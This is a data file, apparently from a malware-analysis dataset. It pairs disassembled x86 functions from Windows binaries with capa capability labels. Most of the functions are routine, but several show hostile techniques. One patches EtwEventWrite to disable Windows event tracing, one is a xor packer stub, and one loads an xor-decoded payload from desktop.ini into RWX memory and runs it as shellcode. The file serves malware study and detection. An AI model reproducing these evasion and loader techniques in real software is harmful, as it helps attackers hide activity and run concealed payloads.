joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403790
Capabilities:
Get common file path

Disassembly:
sub esp, 0x200
push esi
mov esi, dword [esp + 0x208]
push edi
push esi
call fcn.00409400
mov dl, byte [eax]
xor ecx, ecx
test dl, dl
setne cl
push 0x423a80
mov edi, ecx
call fcn.004122fa
push esi
call fcn.00408ca0
add esp, 0xc
test eax, eax
je 0x4037da
push 0x4357a0
push esi
call fcn.00412a96
add esp, 8
jmp 0x4038c6
push 0x200
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test edi, edi
mov eax, 0x4394b8
jne 0x4037f8
mov eax, 0x423820
push ebp
push eax
push esi
lea eax, [esp + 0x14]
push eax
push 0x423a74
call fcn.00412bcc
mov eax, dword [0x4237a8]
add esp, 0x10
test eax, eax
mov ebp, 0x4237a8
je 0x4038b8
mov ecx, dword [0x4394c0]
mov eax, dword [ebp]
cmp byte [eax], 0
je 0x403835
push eax
lea ecx, [esp + 0x10]
push ecx
jmp 0x40383f
test ecx, ecx
je 0x4038aa
push ecx
lea edx, [esp + 0x10]
push edx
call fcn.00407cd0
lea eax, [esp + 0x14]
add esp, 8
push eax
call fcn.00408d20
mov al, byte [esp + 0x10]
add esp, 4
cmp al, 0x7e
jne 0x403872
or ecx, 0xffffffff
lea edi, [esp + 0xc]
xor eax, eax
repne scasb al, byte es:[edi]
mov cx, word [0x423908]
mov word [edi - 1], cx
push 0
push 0x423a70
push 0x423828
lea edx, [esp + 0x18]
push esi
push edx
call fcn.004093f0
add esp, 4
push eax
call fcn.00408b30
lea eax, [esp + 0x20]
push 0x4357a0
push eax
call fcn.00412a96
mov ecx, dword [0x4394c0]
add esp, 0x1c
mov eax, dword [ebp + 4]
add ebp, 4
test eax, eax
jne 0x403825
push 0x4394b8
call fcn.004122fa
add esp, 4
pop ebp
push 0x4357a0
push 0x423a50
call fcn.00412a96
mov esi, dword [esp + 0x218]
mov eax, dword [esi]
add esp, 8
test eax, eax
je 0x40390b
push 0x4357a0
push 0x20
call fcn.00412a4b
mov ecx, dword [esi]
push 0x4357a0
push ecx
call fcn.00412a96
mov eax, dword [esi + 4]
add esi, 4
add esp, 0x10
test eax, eax
jne 0x4038e5
push 0x423910
call fcn.004122fa
add esp, 4
pop edi
pop esi
add esp, 0x200
ret

Function at 0x403ee0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov al, byte [0x4394c4]
test al, al
jne 0x403f81
mov byte [0x4394c4], 1
call fcn.00402ae0
call fcn.00409440
mov eax, dword [0x4394c8]
test eax, eax
jne 0x403f57
push 0x423c48
push 0x423c40
mov dword [0x4394c8], 0xcea
call sub.WSOCK32.dll_getservbyname
test eax, eax
je 0x403f38
movzx eax, word [eax + 8]
push eax
call sub.WSOCK32.dll_ntohs
and eax, 0xffff
mov dword [0x4394c8], eax
push 0x423c30
call fcn.00412dfa
add esp, 4
test eax, eax
je 0x403f57
push eax
call fcn.004128da
add esp, 4
mov dword [0x4394c8], eax
mov eax, dword [0x4394cc]
test eax, eax
jne 0x403f80
push 0x423c20
mov dword [0x4394cc], 0x422438
call fcn.00412dfa
add esp, 4
test eax, eax
je 0x403f80
mov dword [0x4394cc], eax
ret
jmp fcn.004089b0
Function at 0x4048c0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
push ecx
push edx
call sub.WSOCK32.dll_connect
ret

Function at 0x407430
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x40743f
mov edi, 1
push edi
call fcn.00413bd4
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x407493
push esi
call fcn.00413632
mov esi, eax
call fcn.00408a70
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov esi, eax
and esi, 8
je 0x407476
mov edx, dword [fcn.00408aa0]
mov dword [fcn.00423f04], edx
test al, 0x18
je 0x407487
push edi
push 0x24
push 5
call fcn.00407550
add esp, 0xc
test esi, esi
pop esi
je 0x4074ae
push 1
call fcn.0041239f
test byte [esp + 0x10], 0x20
je 0x4074ae
mov ecx, edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x407840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [ebp + 0x10]
test eax, eax
push ebx
push esi
push edi
je 0x407935
cmp byte [eax], 0
je 0x407935
mov esi, dword [ebp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
mov edi, esi
call fcn.004077a0
mov ebx, dword [ebp + 0xc]
lea ecx, [esp + 0x18]
push ebx
push ecx
call fcn.004077a0
mov al, byte [ebp + 0x14]
mov edx, dword [esp + 0x20]
add esp, 0x10
test al, al
je 0x4078a0
xor edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push eax
call fcn.00407950
add esp, 8
jmp 0x4078bd
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
xor ecx, eax
push ecx
xor edx, dword [esp + 0x1c]
push edx
lea eax, [esp + 0x28]
push eax
call fcn.00407710
add esp, 0xc
cmp byte [ebx], 0
je 0x4078f6
lea ecx, [esp + 0x20]
inc ebx
push ecx
mov dword [ebp + 0xc], ebx
call fcn.00407750
fmul qword [0x41f1a8]
push ecx
fstp qword [esp]
call fcn.00413e98
fadd qword [0x41f1a0]
add esp, 8
call fcn.00413f68
mov byte [esi], al
mov al, byte [ebx]
inc esi
test al, al
jne 0x4078c2
mov al, byte [ebp + 0x14]
test al, al
jne 0x407938
lea edx, [esp + 0x20]
push edx
call fcn.00407750
fmul qword [0x41f1a8]
push ecx
fstp qword [esp]
call fcn.00413e98
add esp, 8
call fcn.00413f68
cmp edi, esi
je 0x407938
xor byte [edi], al
inc edi
cmp edi, esi
jne 0x407922
mov byte [esi], 0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
pop edi
mov byte [esi], 0
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408910
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value
Terminate process

Disassembly:
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x44a060], eax
jne 0x408941
call fcn.00413632
mov eax, dword [eax]
push eax
push 0x423f60
push 0x4357c0
call fcn.004126b3
add esp, 0xc
push 1
call fcn.0041239f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x44a160
call esi
push 0x44a100
call esi
push 0x44a180
call esi
push 0x44a120
call esi
push 0x44a0c0
call esi
push 0x44a0e0
call esi
push 0x44a0a0
call esi
push 0x44a080
call esi
push 0x44a140
call esi
call fcn.0040a8f0
pop esi
jmp fcn.004089b0

Function at 0x4089b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push 0x44a120
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x44a060]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jne 0x408a21
push 0x3c
push 1
call fcn.004144d5
mov esi, eax
add esp, 8
test esi, esi
jne 0x4089ed
push 0x44a120
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop esi
ret
mov ecx, dword [0x44a060]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [0x4419c4]
inc eax
lea edx, [esi + 0xc]
mov dword [0x4419c4], eax
push edx
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
add esi, 4
push esi
call fcn.0040a900
add esp, 8
push 0x44a120
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop esi
ret

Function at 0x408a30
Capabilities:
Set thread local storage value

Disassembly:
push esi
call fcn.00408a70
mov esi, eax
test esi, esi
je 0x408a5b
lea eax, [esi + 4]
push eax
call fcn.0040a930
add esp, 4
lea ecx, [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call fcn.00413d0e
add esp, 4
mov edx, dword [0x44a060]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
ret

Function at 0x409d60
Capabilities:
Read file on windows
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x30], 3
push 0
jne 0x409d92
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [eax + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x409d8d
or eax, 0xffffffff
ret
mov eax, dword [esp + 0xc]
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [eax]
push ecx
push edx
push eax
call sub.WSOCK32.dll_recv
ret

Function at 0x409db0
Capabilities:
Send data
Send data on socket
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x30], 3
push 0
jne 0x409de2
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [eax + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x409ddd
or eax, 0xffffffff
ret
mov eax, dword [esp + 0xc]
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [eax]
push ecx
push edx
push eax
call sub.WSOCK32.dll_send
ret
Function at 0x409e20
Capabilities:
Set socket configuration

Disassembly:
push ecx
mov ecx, dword [esp + 8]
mov edx, dword [ecx + 0x30]
xor eax, eax
cmp edx, 3
mov dword [esp], eax
je 0x409e57
cmp byte [esp + 0xc], al
je 0x409e41
mov dword [esp], 1
mov ecx, dword [ecx]
push 4
lea eax, [esp + 4]
push eax
push 8
push 0xffff
push ecx
call sub.WSOCK32.dll_setsockopt
pop ecx
ret

Function at 0x40a0f0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
lea esp, [esp]
call fcn.00413632
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.0041b0a4
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x40a1ba
call fcn.00413632
cmp dword [eax], 0
je 0x40a137
call fcn.00413632
mov ebp, dword [eax]
jmp 0x40a13a
or ebp, 0xffffffff
call fcn.00408a70
test esi, esi
mov dword [eax], ebp
jne 0x40a14f
call fcn.00413632
cmp dword [eax], 4
je 0x40a100
mov al, byte [esp + 0x20]
test al, 0x1a
je 0x40a1a7
cmp esi, 0xffffffff
jne 0x40a181
call fcn.00408a70
mov ecx, dword [eax]
push ecx
push ebx
call fcn.0040a840
add esp, 4
push eax
push 0x24
push 2
call fcn.00407550
add esp, 0x10
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test al, 6
je 0x40a1a7
call fcn.00408a70
mov edx, dword [eax]
push edx
push ebx
call fcn.0040a840
add esp, 4
push eax
push 0x24
push 9
call fcn.00407550
mov al, byte [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x40a1b0
test al, 6
je 0x40a1c4
pop edi
pop esi
pop ebp
mov eax, 0xffffffff
pop ebx
ret
mov al, byte [esp + 0x20]
test al, 6
je 0x40a1c4
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x40a710
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x44
push ebx
mov ebx, dword [esp + 0x58]
test ebx, ebx
push edi
jge 0x40a761
cmp ebx, 0xffffffdc
jl 0x40a82b
cmp ebx, 0xfffffffe
jg 0x40a82b
mov ecx, dword [esp + 0x54]
test ecx, ecx
mov edi, dword [esp + 0x50]
jg 0x40a759
jl 0x40a741
test edi, edi
jae 0x40a759
mov edx, dword [esp + 0x58]
inc edx
mov byte [edx - 1], 0x2d
neg edi
adc ecx, 0
neg ecx
mov dword [esp + 0x58], edx
neg ebx
jmp 0x40a77f
mov edx, dword [esp + 0x58]
neg ebx
jmp 0x40a77f
cmp ebx, 0x24
jg 0x40a82b
cmp ebx, 2
jl 0x40a82b
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x50]
mov edx, dword [esp + 0x58]
mov eax, edi
or eax, ecx
jne 0x40a794
mov byte [edx], 0x30
inc edx
pop edi
mov byte [edx], 0
mov eax, edx
pop ebx
add esp, 0x44
ret
test ecx, ecx
push esi
lea esi, [esp + 0x4c]
mov byte [esp + 0x4c], 0
ja 0x40a7aa
cmp edi, 0x7fffffff
jbe 0x40a7df
push ebp
xor ebp, ebp
lea ecx, [ecx]
push ebp
push ebx
push ecx
push edi
call fcn.00413b30
mov ecx, eax
imul ecx, ebx
sub edi, ecx
mov cl, byte [edi + 0x423f34]
dec esi
test edx, edx
mov byte [esi], cl
mov edi, eax
mov ecx, edx
ja 0x40a7b0
jb 0x40a7da
cmp eax, 0x7fffffff
ja 0x40a7b0
mov edx, dword [esp + 0x60]
pop ebp
test edi, edi
mov dword [esp + 0x60], edi
je 0x40a817
mov eax, dword [esp + 0x60]
cdq
idiv ebx
xor edx, edx
mov dl, byte [esp + 0x60]
dec esi
mov ecx, eax
mov al, bl
imul cl
sub dl, al
mov dword [esp + 0x60], ecx
and edx, 0xff
test ecx, ecx
mov al, byte [edx + 0x423f34]
mov byte [esi], al
jne 0x40a7e7
mov edx, dword [esp + 0x5c]
mov al, byte [esi]
mov byte [edx], al
inc edx
inc esi
test al, al
jne 0x40a817
pop esi
pop edi
lea eax, [edx - 1]
pop ebx
add esp, 0x44
ret
pop edi
xor eax, eax
pop ebx
add esp, 0x44
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Patch event tracing for windows function

Disassembly:
push ecx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x40101f
mov eax, str.Failed_to_load_ntdll.dll_n
push eax
call fcn.004010c0
add esp, 8
ret
push esi
push str.EtwEventWrite
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x401042
mov eax, str.Failed_to_locate_EtwEventWrite_n
pop esi
push eax
call fcn.004010c0
add esp, 8
ret
lea eax, [esp + 4]
push eax
push 0x40
push 1
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40107b
lea eax, [esp + 4]
mov byte [esi], 0xc3
push eax
push dword [esp + 8]
push 1
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, str.ETW_disabled_successfully._n
pop esi
push eax
call fcn.004010c0
add esp, 8
ret
mov eax, str.Failed_to_change_memory_permissions_n
pop esi
push eax
call fcn.004010c0
add esp, 8
ret

Function at 0x40133d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x401372
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x40136f
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x40137b
add edx, 0x28
cmp edx, esi
jne 0x40135d
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x401378

Function at 0x4017ba
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4017f9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4017f9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4017f9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4017f9
cmp dword [ecx + 0x74], 0xe
jbe 0x4017f9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407924
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415650
push 0x415648
push str.FlsAlloc
push 0x1e
call fcn.004077e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407958
push dword [ebp + 8]
mov ecx, esi
call dword [0x414118]
call esi
jmp 0x40795e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4079a2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415660
push 0x415658
push str.FlsGetValue
push 0x20
call fcn.004077e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4079d9
push dword [ebp + 8]
mov ecx, esi
call dword [0x414118]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40aedc
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40af79
push ebx
push esi
call fcn.0040aea5
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040adee
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40af26
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40af78
push edi
push eax
call fcn.004080d7
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40af46
call fcn.00407678
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40af77
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040adee
add esp, 0x20
test eax, eax
jne 0x40af65
push edi
call fcn.00407678
jmp 0x40af6d
push ebx
call fcn.00407678
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x412f00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412f2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412f2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x1c0929cc
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x45c223e6
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
mov esi, 0x1000
push esi
push esi
xor edi, edi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 1
push edi
push edi
push 0x10002054
push edi
push edi
mov dword [0x10003228], eax
call ebx
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f2
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f0
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dc
call eax
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x4a311e
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x4a313e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4a312a
add dl, dl
jne 0x4a3149
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4a319a
xor eax, eax
add dl, dl
jne 0x4a3156
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4a323b
add dl, dl
jne 0x4a3165
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a3170
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a317b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a3186
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4a3190
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x4a3135
mov eax, 1
add dl, dl
jne 0x4a31a8
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4a31b3
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4a319f
sub eax, ebx
mov ebx, 1
jne 0x4a31e6
mov ecx, 1
add dl, dl
jne 0x4a31cc
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4a31d7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4a31c3
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a3135
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x4a31fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4a3208
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4a31f4
cmp eax, 0x7d00
jae 0x4a322b
cmp eax, 0x500
jb 0x4a3226
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a3135
cmp eax, 0x7f
ja 0x4a322e
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4a3135
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4a325c
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x4a3135
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x422df0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c21bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b6a7e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x422e72
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004b48ca
mov eax, dword [eax]
push 0x55dce8
push eax
call fcn.004a5e04
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b6d09
test bl, bl
je 0x422e72
push 0x55dce8
lea ecx, [esp + 0xc]
call fcn.004b7099
push 0x55dcf4
lea ecx, [esp + 0xc]
call fcn.004b7099
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x422eae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b6d09
jmp 0x422f79
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x422f32
lea edx, [esp + 0x7c]
push 0x55dcf0
push edx
call fcn.004a5e04
add esp, 8
test eax, eax
je 0x422f32
lea eax, [esp + 0x7c]
push 0x55dcec
push eax
call fcn.004a5e04
add esp, 8
test eax, eax
je 0x422f32
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x422ec2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b6d09
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x423770
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4237d2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc